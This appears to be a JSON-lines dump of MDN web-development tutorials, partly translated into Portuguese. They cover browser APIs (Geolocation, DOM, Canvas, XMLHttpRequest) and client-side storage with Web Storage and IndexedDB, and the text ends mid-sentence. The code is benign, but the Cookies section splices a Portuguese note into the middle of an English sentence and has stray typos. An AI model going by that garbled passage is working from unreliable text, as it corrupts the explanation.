given time — this contains a `Coordinates` object that contains the actual position information, plus a timestamp representing the given time.\n* `Coordinates`, which contains a whole lot of useful data on the device position, including latitude and longitude, altitude, velocity and direction of movement, and more.\n\nSo how do these objects interact? If you look at our maps-example.html example (see it live also), you'll see the following code:\n\n\n```js\nnavigator.geolocation.getCurrentPosition(function (position) {\n  var latlng = new google.maps.LatLng(\n    position.coords.latitude,\n    position.coords.longitude,\n  );\n  var myOptions = {\n    zoom: 8,\n    center: latlng,\n    mapTypeId: google.maps.MapTypeId.TERRAIN,\n    disableDefaultUI: true,\n  };\n  var map = new google.maps.Map(\n    document.querySelector(\"#map\\_canvas\"),\n    myOptions,\n  );\n});\n```\n\n\n**Nota:** When you first load up the above example, you should be given a dialog box asking if you are happy to share your location with this application (see the They have additional security mechanisms where appropriate section later in the article). You need to agree to this to be able to plot your location on the map. If you still can't see the map, you may need to set your permissions manually; you can do this in various ways depending on what browser you are using; for example in Firefox go to > *Tools* > *Page Info* > *Permissions*, then change the setting for *Share Location*; in Chrome go to *Settings* > *Privacy* > *Show advanced settings* > *Content settings* then change the settings for *Location*.\n\nWe first want to use the `Geolocation.getCurrentPosition()` method to return the current location of our device. The browser's `Geolocation` object is accessed by calling the `Navigator.geolocation` property, so we start off by using\n\n\n```js\nnavigator.geolocation.getCurrentPosition(function(position) { ... });\n```\n\n\nIsso é equivalente a fazer algo como\n\n\n```js\nvar myGeo = navigator.geolocation;\nmyGeo.getCurrentPosition(function(position) { ... });\n```\n\n\nBut we can use the dot syntax to chain our property/method access together, reducing the number of lines we have to write.\n\nThe `Geolocation.getCurrentPosition()` method only has a single mandatory parameter, which is an anonymous function that will run when the device's current position has been successfully retrieved. This function itself has a parameter, which contains a `Position` object representing the current position data.\n\n**Nota:** A function that is taken by another function as an argument is called a callback function.\n\nThis pattern of invoking a function only when an operation has been completed is very common in JavaScript APIs — making sure one operation has completed before trying to use the data the operation returns in another operation. These are called **asynchronous operations**. Because getting the device's current position relies on an external component (the device's GPS or other geolocation hardware), we can't guarantee that it will be done in time to just immediately use the data it returns. Therefore, something like this wouldn't work:\n\n\n```js\nvar position = navigator.geolocation.getCurrentPosition();\nvar myLatitude = position.coords.latitude;\n```\n\n\nIf the first line had not yet returned its result, the second line would throw an error, because the position data would not yet be available. For this reason, APIs involving asynchronous operations are designed to use callback functions, or the more modern system of Promises, which were made available in ECMAScript 6 and are widely used in newer APIs.\n\nWe are combining the Geolocation API with a third party API — the Google Maps API — which we are using to plot the location returned by `getCurrentPosition()` on a Google Map. We make this API available on our page by linking to it — you'll find this line in the HTML:\n\n\n```html\n<script\n type=\"text/javascript\"\n src=\"https://maps.google.com/maps/api/js?key=AIzaSyDDuGt0E5IEGkcE6ZfrKfUtE9Ko\\_de66pA\"></script>\n```\n\n\nTo use the API, we first create a `LatLng` object instance using the `google.maps.LatLng()` constructor, which takes our geolocated `Coordinates.latitude` (en-US) and `Coordinates.longitude` (en-US) values as parameters:\n\n\n```js\nvar latlng = new google.maps.LatLng(\n  position.coords.latitude,\n  position.coords.longitude,\n);\n```\n\n\nThis object is itself set as the value of the `center` property of an options object that we've called `myOptions`. We then create an object instance to represent our map by calling the `google.maps.Map()` constructor, passing it two parameters — a reference to the `<div>` element we want to render the map on (with an ID of `map_canvas`), and the options object we defined just above it.\n\n\n```js\nvar myOptions = {\n  zoom: 8,\n  center: latlng,\n  mapTypeId: google.maps.MapTypeId.TERRAIN,\n  disableDefaultUI: true,\n};\n\nvar map = new google.maps.Map(document.querySelector(\"#map\\_canvas\"), myOptions);\n```\n\n\nWith this done, our map now renders.\n\nThis last block of code highlights two common patterns you'll see across many APIs. First of all, API objects commonly contain constructors, which are invoked to create instances of those objects that you'll use to write your program. Second, API objects often have several options available that can be tweaked to get the exact environment you want for your program. API constructors commonly accept options objects as parameters, which is where you'd set such options.\n\n**Nota:** Don't worry if you don't understand all the details of this example immediately. We'll cover using third party APIs in a lot more detail in a future article.\n\n### Possuem pontos de entrada reconhecíveis\n\nWhen using an API, you should make sure you know where the entry point is for the API. In The Geolocation API, this is pretty simple — it is the `Navigator.geolocation` property, which returns the browser's `Geolocation` object that all the useful geolocation methods are available inside.\n\nThe Document Object Model (DOM) API has an even simpler entry point — its features tend to be found hanging off the `Document` object, or an instance of an HTML element that you want to affect in some way, for example:\n\n\n```js\nvar em = document.createElement(\"em\"); // create a new em element\nvar para = document.querySelector(\"p\"); // reference an existing p element\nem.textContent = \"Hello there!\"; // give em some text content\npara.appendChild(em); // embed em inside para\n```\n\n\nOther APIs have slightly more complex entry points, often involving creating a specific context for the API code to be written in. For example, the Canvas API's context object is created by getting a reference to the `<canvas>` element you want to draw on, and then calling its `HTMLCanvasElement.getContext()` method:\n\n\n```js\nvar canvas = document.querySelector(\"canvas\");\nvar ctx = canvas.getContext(\"2d\");\n```\n\n\nAnything that we want to do to the canvas is then achieved by calling properties and methods of the content object (which is an instance of `CanvasRenderingContext2D`), for example:\n\n\n```js\nBall.prototype.draw = function () {\n  ctx.beginPath();\n  ctx.fillStyle = this.color;\n  ctx.arc(this.x, this.y, this.size, 0, 2 \\* Math.PI);\n  ctx.fill();\n};\n```\n\n\n**Nota:** You can see this code in action in our bouncing balls demo (see it running live also).\n\n### Usam eventos para lidar com mudanças de estado\n\nWe already discussed events earlier on in the course, in our Introduction to events article — this article looks in detail at what client-side web events are and how they are used in your code. If you are not already familiar with how client-side web API events work, you should go and read this article first before continuing.\n\nSome web APIs contain no events, but some contain a number of events. The handler properties that allow us to run functions when events fire are generally listed in our reference material in separate \"Event handlers\" sections. As a simple example, instances of the `XMLHttpRequest` object (each one represents an HTTP request to the server to retrieve a new resource of some kind) have a number of events available on them, for example the `load` event is fired when a response has been successfully returned containing the requested resource, and it is now available.\n\nO código seguinte fornece um exemplo simples de como isso seria utilizado:\n\n\n```js\nvar requestURL =\n  \"https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json\";\nvar request = new XMLHttpRequest();\nrequest.open(\"GET\", requestURL);\nrequest.responseType = \"json\";\nrequest.send();\n\nrequest.onload = function () {\n  var superHeroes = request.response;\n  populateHeader(superHeroes);\n  showHeroes(superHeroes);\n};\n```\n\n\n**Nota:** You can see this code in action in our ajax.html example (see it live also).\n\nThe first five lines specify the location of resource we want to fetch, create a new instance of a request object using the `XMLHttpRequest()` constructor, open an HTTP `GET` request to retrieve the specified resource, specify that the response should be sent in JSON format, then send the request.\n\nThe `onload` handler function then specifies what we do with the response. We know the response will be successfully returned and available after the load event has required (unless an error occurred), so we save the response containing the returned JSON in the `superHeroes` variable, then pass it to two different functions for further processing.\n\n### Possuem mecanismos de segurança adicionais, quando apropriado\n\nWebAPI features are subject to the same security considerations as JavaScript and other web technologies (for example same-origin policy (en-US)), but they sometimes have additional security mechanisms in place. For example, some of the more modern WebAPIs will only work on pages served over HTTPS due to them transmitting potentially sensitive data (examples include Service Workers and Push).\n\nIn addition, some WebAPIs request permission to be enabled from the user once calls to them are made in your code. As an example, you may have noticed a dialog like the following when loading up our earlier Geolocation example:\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Introduction/location-permission.png)\n\nThe Notifications API (en-US) asks for permission in a similar fashion:\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Introduction/notification-permission.png)\n\nThese permission prompts are given to users for security — if they weren't in place, then sites could start secretly tracking your location without you knowing it, or spamming you with a lot of annoying notifications.\n\nResumo\n------\n\nAo chegar aqui, você deve ter uma boa ideia do que são APIs, como funcionam e o que você pode fazer com elas em seu código JavaScript. Além do mais, você deve estar ansioso(a) para colocar a mão na massa e trabalhar com APIs. Na sequência, iremos ver como manipular documentos com o DOM (Document Object Model).\n\n* Menu: Client-side web APIs\n* Próxima"}
{"title":"Client-side storage - Aprendendo desenvolvimento web","text":"Client-side storage\n===================\n\n* Anterior  (en-US)\n* Menu: Client-side web APIs\n\nOs navegadores modernos oferecem suporte a várias maneiras de os sites armazenarem dados no computador do usuário - com a permissão do usuário - e depois recuperá-los quando necessário. Isso permite que você mantenha dados para armazenamento de longo prazo, salve sites ou documentos para uso offline, retenha configurações específicas do usuário para seu site e muito mais. Este artigo explica os princípios básicos de como eles funcionam.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Noções básicas de JavaScript (consulte as\n primeiras etapas ,\n blocos de construção\n ,\n objetos JavaScript ),\n as\n noções básicas de APIs do lado do cliente |\n| Objetivo: | \n Para aprender como usar APIs de armazenamento do lado do cliente para\n armazenar dados de aplicativos\n  |\n\nArmazenamento do lado do cliente?\n---------------------------------\n\nEm outro lugar na área de aprendizagem MDN, falamos sobre a diferença entre sites estáticos e sites dinâmicos . A maioria dos principais sites modernos são dinâmicos - eles armazenam dados no servidor usando algum tipo de banco de dados (armazenamento do lado do servidor) e, em seguida, executam o código do lado do servidor para recuperar os dados necessários, inserem-nos em modelos de página estática e fornecem o HTML resultante para o cliente a ser exibido pelo navegador do usuário.er.\n\nO armazenamento do lado do cliente funciona em princípios semelhantes, mas tem usos diferentes. Consiste em APIs JavaScript que permitem armazenar dados no cliente (ou seja, na máquina do usuário) e recuperá-los quando necessário. Isso tem muitos usos distintos, como:\n\n* Personalizar as preferências do site (por exemplo, mostrar a escolha do usuário de widgets personalizados, esquema de cores ou tamanho da fonte).\n* Atividade anterior persistente do site (por exemplo, armazenar o conteúdo de um carrinho de compras de uma sessão anterior, lembrando se um usuário estava conectado anteriormente).\n* Salvar dados e ativos localmente para que o download de um site seja mais rápido (e potencialmente mais barato) ou possa ser usado sem uma conexão de rede.\n* Salvar documentos gerados por aplicativos da web localmente para uso offline\n\nFreqüentemente, o armazenamento do lado do cliente e do lado do servidor são usados juntos. Por exemplo, você pode baixar um lote de arquivos de música (talvez usados por um jogo da web ou aplicativo de reprodutor de música), armazená-los em um banco de dados do cliente e reproduzi-los conforme necessário. O usuário só teria que baixar os arquivos de música uma vez - em visitas subsequentes, eles seriam recuperados do banco de dados.\n\n**Nota:** : Existem limites para a quantidade de dados que você pode armazenar usando APIs de armazenamento do lado do cliente (possivelmente por API individual e cumulativamente); o limite exato varia dependendo do navegador e, possivelmente, com base nas configurações do usuário. Consulte Limites de armazenamento do navegador e critérios de despejo (en-US) para obter mais informações..\n\n### Old school: Cookies\n\nThe concept of client-side storage has been around for **Nota** : Existem limites para a quantidade de dados que você pode armazenar usando APIs de armazenamento do lado do cliente (possivelmente por API individual e cumulativamente); o limite exato varia dependendo do navegador e, possivelmente, com base nas configurações do usuário. Consultea long time. Since the early days of the web, sites have used cookies to store information to personalize user experience on websites. They're the earliest form of client-side storage commonly used on the web.\n\nThese days, there are easier mechanisms available for storing client-side data, therefore we won't be teaching you how to use cookies in this article. However, this does not mean cookies are completely useless on the modern-day web — they are still used commonly to store data related to user personalization and state, e.g. session IDs and access tokens. For more information on cookies see our Using HTTP cookies article.\n\n### New school: Web Storage and IndexedDB\n\nThe \"easier\" features we mentioned above are as follows:\n\n* The Web Storage API provides a very simple syntax for storing and retrieving smaller, data items consisting of a name and a corresponding value. This is useful when you just need to store some simple data, like the user's name, whether they are logged in, what color to use for the background of the screen, etc.\n* The IndexedDB API provides the browser with a complete database system for storing complex data. This can be used for things from complete sets of customer records to even complex data types like audio or video files.\n\nYou'll learn more about these APIs below.\n\n### The future: Cache API\n\nSome modern browsers support the new `Cache` API. This API is designed for storing HTTP responses to specific requests, and is very useful for doing things like storing website assets offline so the site can subsequently be used without a network connection. Cache is usually used in combination with the Service Worker API, although it doesn't have to be.\n\nUse of Cache and Service Workers is an advanced topic, and we won't be covering it in great detail in this article, although we will show a simple example in the Offline asset storage section below.\n\nStoring simple data — web storage\n---------------------------------\n\nThe Web Storage API is very easy to use — you store simple name/value pairs of data (limited to strings, numbers, etc.) and retrieve these values when needed.\n\n### Basic syntax\n\nLet's show you how:\n\n1. First, go to our web storage blank template on GitHub (open this in a new tab).\n2. Open the JavaScript console of your browser's developer tools.\n3. All of your web storage data is contained within two object-like structures inside the browser: `sessionStorage` and `localStorage`. The first one persists data for as long as the browser is open (the data is lost when the browser is closed) and the second one persists data even after the browser is closed and then opened again. We'll use the second one in this article as it is generally more useful.\n The `Storage.setItem()` method allows you to save a data item in storage — it takes two parameters: the name of the item, and its value. Try typing this into your JavaScript console (change the value to your own name, if you wish!):\n\n```js\nlocalStorage.setItem(\"name\", \"Chris\");\n```\n\n4. The `Storage.getItem()` method takes one parameter — the name of a data item you want to retrieve — and returns the item's value. Now type these lines into your JavaScript console:\n\n```js\nlet myName = localStorage.getItem(\"name\");\nmyName;\n```\n\nUpon typing in the second line, you should see that the `myName` variable now contains the value of the `name` data item.\n5. The `Storage.removeItem()` method takes one parameter — the name of a data item you want to remove — and removes that item out of web storage. Type the following lines into your JavaScript console:\n\n```js\nlocalStorage.removeItem(\"name\");\nlet myName = localStorage.getItem(\"name\");\nmyName;\n```\n\nThe third line should now return `null` — the `name` item no longer exists in the web storage.\n### The data persists!\n\nOne key feature of web storage is that the data persists between page loads (and even when the browser is shut down, in the case of `localStorage`). Let's look at this in action.\n\n1. Open our web storage blank template again, but this time in a different browser to the one you've got this tutorial open in! This will make it easier to deal with.\n2. Type these lines into the browser's JavaScript console:\n\n```js\nlocalStorage.setItem(\"name\", \"Chris\");\nlet myName = localStorage.getItem(\"name\");\nmyName;\n```\n\nYou should see the name item returned.\n3. Now close down the browser and open it up again.\n4. Enter the following lines again:\n\n```js\nlet myName = localStorage.getItem(\"name\");\nmyName;\n```\n\nYou should see that the value is still available, even though the browser has been closed and then opened again.\n### Separate storage for each domain\n\nThere is a separate data store for each domain (each separate web address loaded in the browser). You will see that if you load two websites (say google.com and amazon.com) and try storing an item on one website, it won't be available to the other website.\n\nThis makes sense — you can imagine the security issues that would arise if websites could see each other's data!\n\n### A more involved example\n\nLet's apply this new-found knowledge by writing a simple working example to give you an idea of how web storage can be used. Our example will allow you enter a name, after which the page will update to give you a personalized greeting. This state will also persist across page/browser reloads, because the name is stored in web storage.\n\nYou can find the example HTML at personal-greeting.html — this contains a simple website with a header, content, and footer, and a form for entering your name.\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage/web-storage-demo.png)\n\nLet's build up the example, so you can understand how it works.\n\n1. First, make a local copy of our personal-greeting.html file in a new directory on your computer.\n2. Next, note how our HTML references a JavaScript file called `index.js` (see line 40). We need to create this and write our JavaScript code into it. Create an `index.js` file in the same directory as your HTML file.\n3. We'll start off by creating references to all the HTML features we need to manipulate in this example — we'll create them all as constants, as these references do not need to change in the lifecycle of the app. Add the following lines to your JavaScript file:\n\n```js\n// create needed constants\nconst rememberDiv = document.querySelector(\".remember\");\nconst forgetDiv = document.querySelector(\".forget\");\nconst form = document.querySelector(\"form\");\nconst nameInput = document.querySelector(\"#entername\");\nconst submitBtn = document.querySelector(\"#submitname\");\nconst forgetBtn = document.querySelector(\"#forgetname\");\n\nconst h1 = document.querySelector(\"h1\");\nconst personalGreeting = document.querySelector(\".personal-greeting\");\n```\n\n4. Next up, we need to include a small event listener to stop the form from actually submitting itself when the submit button is pressed, as this is not the behavior we want. Add this snippet below your previous code:\n\n```js\n// Stop the form from submitting when a button is pressed\nform.addEventListener(\"submit\", function (e) {\n  e.preventDefault();\n});\n```\n\n5. Now we need to add an event listener, the handler function of which will run when the \"Say hello\" button is clicked. The comments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using `setItem()`, then running a function called `nameDisplayCheck()` that will handle updating the actual website text. Add this to the bottom of your code:\n\n```js\n// run function when the 'Say hello' button is clicked\nsubmitBtn.addEventListener(\"click\", function () {\n  // store the entered name in web storage\n  localStorage.setItem(\"name\", nameInput.value);\n  // run nameDisplayCheck() to sort out displaying the\n  // personalized greetings and updating the form display\n  nameDisplayCheck();\n});\n```\n\n6. At this point we also need an event handler to run a function when the \"Forget\" button is clicked — this is only displayed after the \"Say hello\" button has been clicked (the two form states toggle back and forth). In this function we remove the `name` item from web storage using `removeItem()`, then again run `nameDisplayCheck()` to update the display. Add this to the bottom:\n\n```js\n// run function when the 'Forget' button is clicked\nforgetBtn.addEventListener(\"click\", function () {\n  // Remove the stored name from web storage\n  localStorage.removeItem(\"name\");\n  // run nameDisplayCheck() to sort out displaying the\n  // generic greeting again and updating the form display\n  nameDisplayCheck();\n});\n```\n\n7. It is now time to define the `nameDisplayCheck()` function itself. Here we check whether the name item has been stored in web storage by using `localStorage.getItem('name')` as a conditional test. If it has been stored, this call will evaluate to `true`; if not, it will be `false`. If it is `true`, we display a personalized greeting, display the \"forget\" part of the form, and hide the \"Say hello\" part of the form. If it is `false`, we display a generic greeting and do the opposite. Again, put the following code at the bottom:\n\n```js\n// define the nameDisplayCheck() function\nfunction nameDisplayCheck() {\n  // check whether the 'name' data item is stored in web Storage\n  if (localStorage.getItem(\"name\")) {\n    // If it is, display personalized greeting\n    let name = localStorage.getItem(\"name\");\n    h1.textContent = \"Welcome, \" + name;\n    personalGreeting.textContent =\n      \"Welcome to our website, \" +\n      name +\n      \"! We hope you have fun while you are here.\";\n    // hide the 'remember' part of the form and show the 'forget' part\n    forgetDiv.style.display = \"block\";\n    rememberDiv.style.display = \"none\";\n  } else {\n    // if not, display generic greeting\n    h1.textContent = \"Welcome to our website \";\n    personalGreeting.textContent =\n      \"Welcome to our website. We hope you have fun while you are here.\";\n    // hide the 'forget' part of the form and show the 'remember' part\n    forgetDiv.style.display = \"none\";\n    rememberDiv.style.display = \"block\";\n  }\n}\n```\n\n8. Last but not least, we need to run the `nameDisplayCheck()` function every time the page is loaded. If we don't do this, then the personalized greeting will not persist across page reloads. Add the following to the bottom of your code:\n\n```js\ndocument.body.onload = nameDisplayCheck;\n```\n\n\nYour example is finished — well done! All that remains now is to save your code and test your HTML page in a browser. You can see our finished version running live here.\n\n**Nota:** There is another, slightly more complex example to explore at Using the Web Storage API.\n\n**Nota:** In the line `<script src=\"index.js\" defer></script>` of the source for our finished version, the `defer` attribute specifies that the contents of the `<script>` element will not execute until the page has finished loading.\n\nStoring complex data — IndexedDB\n--------------------------------\n\nThe IndexedDB API (sometimes abbreviated IDB) is a complete database system available in the browser in which you can store complex related data, the types of which aren't limited to simple values like strings or numbers. You can store videos, images, and pretty much anything else in an IndexedDB instance.\n\nHowever, this does come at a cost: IndexedDB is much more complex to use than the Web Storage API. In this section, we'll really only scratch the surface of what it is capable of, but we will give you enough to get started.\n\n### Working through a note storage example\n\nHere we'll run you through an example that allows you to store notes in your browser and view and delete them whenever you like, getting you to build it up for yourself and explaining the most fundamental parts of IDB as we go along.\n\nThe app looks something like this:\n\n![](/pt-BR/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage/idb-demo.png)\n\nEach note has a title and some body text, each individually editable. The JavaScript code we'll go through below has detailed comments to help you understand what's going on.\n\n### Getting started\n\n1. First of all, make local copies of our `index.html`, `style.css`, and `index-start.js` files into a new directory on your local machine.\n2. Have a look at the files. You'll see that the HTML is pretty simple: a web site with a header and footer, as well as a main content area that contains a place to display notes, and a form for entering new notes into the database. The CSS provides some simple styling to make it clearer what is going on. The JavaScript file contains five declared constants containing references to the `<ul>` element the notes will be displayed in, the title and body `<input>` elements, the `<form>` (en-US) itself, and the `<button>`.\n3. Rename your JavaScript file to `index.js`. You are now ready to start adding code to it.\n### Database initial set up\n\nNow let's look at what we have to do in the first place, to actually set up a database.\n\n1. Below the constant declarations, add the following lines:\n\n```js\n// Create an instance of a db object for us to store the open database in\nlet db;\n```\n\nHere we are declaring a variable called `db` — this will later be used to store an object representing our database. We will use this in a few places, so we've declared it globally here to make things easier.\n2. Next, add the following to the bottom of your code:\n\n```js\nwindow.onload = function () {};\n```\n\nWe will write all of our subsequent code inside this `window.onload` event handler function, called when the window's `load (en-US)` event fires, to make sure we don't try to use IndexedDB functionality before the app has completely finished loading (it could fail if we don't).\n3. Inside the `window.onload` handler, add the following:\n\n```js\n// Open our database; it is created if it doesn't already exist\n// (see onupgradeneeded below)\nlet request = window.indexedDB.open(\"notes\\_db\", 1);\n```\n\nThis line creates a `request` to open version `1` of a database called `notes_db`. If this doesn't already exist, it will be created for you by subsequent code. You will see this request pattern used very often throughout IndexedDB. Database operations take time. You don't want to hang the browser while you wait for the results, so database operations are asynchronous, meaning that instead of happening immediately, they will happen at some point in the future, and you get notified when they're done.\n To handle this in IndexedDB, you create a request object (which can be called anything you like — we called it `request` so it is obvious what it is for). You then use event handlers to run code when the request completes, fails, etc., which you'll see in use below.\n\n**Nota:** The version number is important. If you want to upgrade your database (for example, by changing the table structure), you have to run your code again with an increased version number, different schema specified inside the `onupgradeneeded` handler (see below), etc. We won't cover upgrading databases in this simple tutorial.\n4. Now add the following event handlers just below your previous addition — again inside the `window.onload` handler:\n\n```js\n// onerror handler signifies that the database didn't open successfully\nrequest.onerror = function () {\n  console.log(\"Database failed to open\");\n};\n\n// onsuccess handler signifies that the database opened successfully\nrequest.onsuccess = function () {\n  console.log(\"Database opened successfully\");\n\n  // Store the opened database object in the db variable. This is used a lot below\n  db = request.result;\n\n  // Run the displayData() function to display the notes already in the IDB\n  displayData();\n};\n```\n\nThe `request.onerror` (en-US) handler will run if the system comes back saying that the request failed. This allows you to respond to this problem. In our simple example, we just print a message to the JavaScript console.\n The `request.onsuccess` (en-US) handler on the other hand will run if the request returns successfully, meaning the database was successfully opened. If this is the case, an object representing the opened database becomes available in the `request.result` (en-US) property, allowing us to manipulate the database. We store this in the `db` variable we created earlier for later use. We also run a custom function called `displayData()`, which displays the data in the database inside the `<ul>`. We run it now so that the notes already in the database are displayed as soon as the page loads. You'll see this defined later on.\n5. Finally for this section, we'll add probably the most important event handler for setting up the database: `request.onupgradeneeded` (en-US). This handler runs if the database has not already been set up, or if the database is opened with a bigger version number than the existing stored database (when performing an upgrade). Add the following code, below your previous handler:\n\n```js\n// Setup the database tables if this has not already been done\nrequest.onupgradeneeded = function (e) {\n  // Grab a reference to the opened database\n  let db = e.target.result;\n\n  // Create an objectStore to store our notes in (basically like a single table)\n  // including a auto-incrementing key\n  let objectStore = db.createObjectStore(\"notes\\_os\", {\n    keyPath: \"id\",\n    autoIncrement: true,\n  });\n\n  // Define what data items the objectStore will contain\n  objectStore.createIndex(\"title\", \"title\", { unique: false });\n  objectStore.createIndex(\"body\", \"body\", { unique: false });\n\n  console.log(\"Database setup complete\");\n};\n```\n\nThis is where we define the schema (structure) of our database; that is, the set of columns (or fields) it contains. Here we first grab a reference to the existing database from the `result` property of the event's target (`e.target.result`), which is the `request` object. This is equivalent to the line `db = request.result;` inside the `onsuccess` handler, but we need to do this separately here because the `onupgradeneeded` handler (if needed) will run before the `onsuccess` handler, meaning that the `db` value wouldn't be available if we didn't do this.\n We then use `IDBDatabase.createObjectStore()` (en-US) to create a new object store inside our opened database called `notes_os`. This is equivalent to a single table in a conventional database system. We've given it the name notes, and also specified an `autoIncrement` key field called `id` — in each new record this will automatically be given an incremented value — the developer doesn't need to set this explicitly. Being the key, the `id` field will be used to uniquely identify records, such as when deleting or displaying a record.\n We also create two other indexes (fields) using the `IDBObjectStore.createIndex()` (en-US) method: `title` (which will contain a title for each note), and `body` (which will contain the body text of the note).\n\nSo with this simple database schema set up, when we start adding records to the database; each one will be represented as an object along these lines:\n\n\n```js\n{\n  title: \"Buy milk\",\n  body: \"Need both cows milk and soy.\",\n  id: 8\n}\n```\n\n### Adding data to the database\n\nNow let's look at how we can add records to the database. This will be done using the form on our page.\n\nBelow your previous event handler (but still inside the `window.onload` handler), add the following line, which sets up an `onsubmit` handler that runs a function called `addData()` when the form is submitted (when the submit `<button>` is pressed leading to a successful form submission):\n\n\n```js\n// Create an onsubmit handler so that when the form is submitted the addData() function is run\nform.onsubmit = addData;\n```\n\n\nNow let's define the `addData()` function. Add this below your previous line:\n\n\n```js\n// Define the addData() function\nfunction addData(e) {\n  // prevent default - we don't want the form to submit in the conventional way\n  e.preventDefault();\n\n  // grab the values entered into the form fields and store them in an object ready for being inserted into the DB\n  let newItem = { title: titleInput.value, body: bodyInput.value };\n\n  // open a read/write db transaction, ready for adding the data\n  let transaction = db.transaction([\"notes\\_os\"], \"readwrite\");\n\n  // call an object store that's already been added to the database\n  let objectStore = transaction.objectStore(\"notes\\_os\");\n\n  // Make a request to add our newItem object to the object store\n  let request = objectStore.add(newItem);\n  request.onsuccess = function () {\n    // Clear the form, ready for adding the next entry\n    titleInput.value = \"\";\n    bodyInput.value = \"\";\n  };\n\n  // Report on the success of the transaction completing, when everything is done\n  transaction.oncomplete = function () {\n    console.log(\"Transaction completed: database modification finished.\");\n\n    // update the display of data to show the newly added item, by running displayData() again.\n    displayData();\n  };\n\n  transaction.onerror = function () {\n    console.log(\"Transaction not opened due to error\");\n  };\n}\n```\n\n\nThis is quite complex; breaking it down, we:\n\n* Run `Event.preventDefault()` on the event object to stop the form actually submitting in the conventional manner (this would cause a page refresh and spoil the experience).\n* Create an object representing a record to enter into the database, populating it with values from the form inputs. note that we don't have to explicitly include an `id` value — as we explained earlier, this is auto-populated.\n* Open a `readwrite` transaction against the `notes_os` object store using the `IDBDatabase.transaction()` (en-US) method. This transaction object allows us to access the object store so we can do something to it, e.g. add a new record.\n* Access the object store using the `IDBTransaction.objectStore()` (en-US) method, saving the result in the `objectStore` variable.\n* Add the new record to the database using `IDBObjectStore.add()` (en-US). This creates a request object, in the same fashion as we've seen before.\n* Add a bunch of event handlers to the `request` and the `transaction` to run code at critical points in the lifecycle. Once the request has succeeded, we clear the form inputs ready for entering the next note. Once the transaction has completed, we run the `displayData()` function again to update the display of notes on the page.\n### Displaying the data\n\nWe've referenced `displayData()` twice in our code already, so we'd probably better define it. Add this to your code, below the previous function definition:\n\n\n```js\n// Define the displayData() function\nfunction displayData() {\n  // Here we empty the contents of the list element each time the display is updated\n  // If you didn't do this, you'd get duplicates listed each time a new note is added\n  while (list.firstChild) {\n    list.removeChild(list.firstChild);\n  }\n\n  // Open our object store and then get a cursor - which iterates through all the\n  // different data items in the store\n  let objectStore = db.transaction(\"notes\\_os\").objectStore(\"notes\\_os\");\n  objectStore.openCursor().onsuccess = function (e) {\n    // Get a reference to the cursor\n    let cursor = e.target.result;\n\n    // If there is still another data item to iterate through, keep running this code\n    if (cursor) {\n      // Create a list item, h3, and p to put each data item inside when displaying it\n      // structure the HTML fragment, and append it inside the list\n      const listItem = document.createElement(\"li\");\n      const h3 = document.createElement(\"h3\");\n      const para = document.createElement(\"p\");\n\n      listItem.appendChild(h3);\n      listItem.appendChild(para);\n      list.appendChild(listItem);\n\n      // Put the data from the cursor inside the h3 and para\n      h3.textContent = cursor.value.title;\n      para.textContent = cursor.value.body;\n\n      // Store the ID of the data item inside an attribute on the listItem, so we know\n      // which item it corresponds to. This will be useful later when we want to delete items\n      listItem.setAttribute(\"data-note-id\", cursor.value.id);\n\n      // Create a button and place it inside each listItem\n      const deleteBtn = document.createElement(\"button\");\n      listItem.appendChild(deleteBtn);\n      deleteBtn.textContent = \"Delete\";\n\n      // Set an event handler so that when the button is clicked, the deleteItem()\n      // function is run\n      deleteBtn.onclick = deleteItem;\n\n      // Iterate to the next item in the cursor\n      cursor.continue();\n    } else {\n      // Again, if list item is empty, display a 'No notes stored' message\n      if (!list.firstChild) {\n        const listItem = document.createElement(\"li\");\n        listItem.textContent = \"No notes stored.\";\n        list.appendChild(listItem);\n      }\n      // if there are no more cursor items to iterate through, say so\n      console.log(\"Notes all displayed\");\n    }\n  };\n}\n```\n\n\nAgain, let's break this down:\n\n* First we empty out the `<ul>` element's content, before then filling it with the updated content. If you didn't do this, you'd end up with a huge list of duplicated content being added to with each update.\n* Next, we get a reference to the `notes_os` object store using `IDBDatabase.transaction()` (en-US) and `IDBTransaction.objectStore()` (en-US) like we did in `addData()`, except here we are chaining them together in one line.\n* The next step is to use `IDBObjectStore.openCursor()` (en-US) method to open a request for a cursor — this is a construct that can be used to iterate over the records in an object store. We chain an `onsuccess` handler on to the end of this line to make the code more concise — when the cursor is successfully returned, the handler is run.\n* We get a reference to the cursor itself (an `IDBCursor` object) using let `cursor = e.target.result`.\n* Next, we check to see if the cursor contains a record from the datastore (`if(cursor){ ... }`) — if so, we create a DOM fragment, populate it with the data from the record, and insert it into the page (inside the `<ul>` element). We also include a delete button that, when clicked, will delete that note by running the `deleteItem()` function, which we will look at in the next section.\n* At the end of the `if` block, we use the `IDBCursor.continue()` (en-US) method to advance the cursor to the next record in the datastore, and run the content of the `if` block again. If there is another record to iterate to, this causes it to be inserted into the page, and then `continue()` is run again, and so on.\n* When there are no more records to iterate over, `cursor` will return `undefined`, and therefore the `else` block will run instead of the `if` block. This block checks whether any notes were inserted into the `<ul>` — if not, it inserts a message to say no note was stored.\n### Deleting a note\n\nAs stated above, when a note's delete button is pressed, the note is deleted. This is achieved by the `deleteItem()` function, which looks like so:\n\n\n```js\n// Define the deleteItem() function\nfunction deleteItem(e) {\n  // retrieve the name of the task we want to delete. We need\n  // to convert it to a number before trying it use it with IDB; IDB key\n  // values are type-sensitive.\n  let noteId = Number(e.target.parentNode.getAttribute(\"data-note-id\"));\n\n  // open a database transaction and delete the task, finding it using the id we retrieved above\n  let transaction = db.transaction([\"notes\\_os\"], \"readwrite\");\n  let objectStore = transaction.objectStore(\"notes\\_os\");\n  let request = objectStore.delete(noteId);\n\n  // report that the data item has been deleted\n  transaction.oncomplete = function () {\n    // delete the parent of the button\n    // which is the list item, so it is no longer displayed\n    e.target.parentNode.parentNode.removeChild(e.target.parentNode);\n    console.log(\"Note \" + noteId + \" deleted.\");\n\n    // Again, if list item is empty, display a 'No notes stored' message\n    if (!list.firstChild) {\n      let listItem = document.createElement(\"li\");\n      listItem.textContent = \"No notes stored.\";\n      list.appendChild(listItem);\n    }\n  };\n}\n```\n\n\n* The first part of this could use some 